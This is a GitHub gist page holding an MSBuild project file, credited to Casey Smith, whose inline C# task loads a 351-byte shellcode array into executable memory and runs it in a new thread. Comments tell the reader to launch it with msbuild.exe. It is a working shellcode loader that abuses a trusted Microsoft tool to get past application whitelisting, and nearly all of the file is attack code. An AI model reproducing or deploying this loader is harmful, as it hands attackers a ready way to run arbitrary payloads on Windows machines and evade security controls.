Skip to content

Instantly share code, notes, and snippets.

@Reboare
Created June 2, 2018 23:41
Show Gist options
  • Save Reboare/e7baa75017150d2886204525588dfb08 to your computer and use it in GitHub Desktop.
Save Reboare/e7baa75017150d2886204525588dfb08 to your computer and use it in GitHub Desktop.
exec.csproj
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[351] {
0xd9,0xc9,0xb8,0x2e,0x63,0xc7,0x44,0xd9,0x74,0x24,0xf4,0x5d,0x31,0xc9,0xb1,
0x52,0x31,0x45,0x17,0x03,0x45,0x17,0x83,0xeb,0x67,0x25,0xb1,0x0f,0x8f,0x2b,
0x3a,0xef,0x50,0x4c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0x0e,0x64,0xd9,0x31,0x58,0x95,0x76,0x66,0x0d,0x6b,0x8f,0xe2,0xa3,0xd2,
0x39,0x10,0x3e,0x82,0x02,0x90,0xe5,0x77,0x8c,0x19,0x6b,0xc3,0xaa,0x09,0xb5,
0xcc,0xf6,0x7d,0x69,0x9b,0xa0,0x2b,0xcf,0x75,0x03,0x85,0x99,0x2a,0xcd,0x41,
0x5f,0x01,0xce,0x17,0x60,0x4c,0xb8,0xf7,0xd1,0x39,0xfd,0x08,0xdd,0xad,0x09,
0x71,0x03,0x4e,0xf5,0xa8,0x87,0x7e,0xbc,0xf0,0xae,0x16,0x19,0x61,0xf3,0x7a,
0x9a,0x5c,0x30,0x83,0x19,0x54,0xc9,0x70,0x01,0x1d,0xcc,0x3d,0x85,0xce,0xbc,
0x2e,0x60,0xf0,0x13,0x4e,0xa1 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment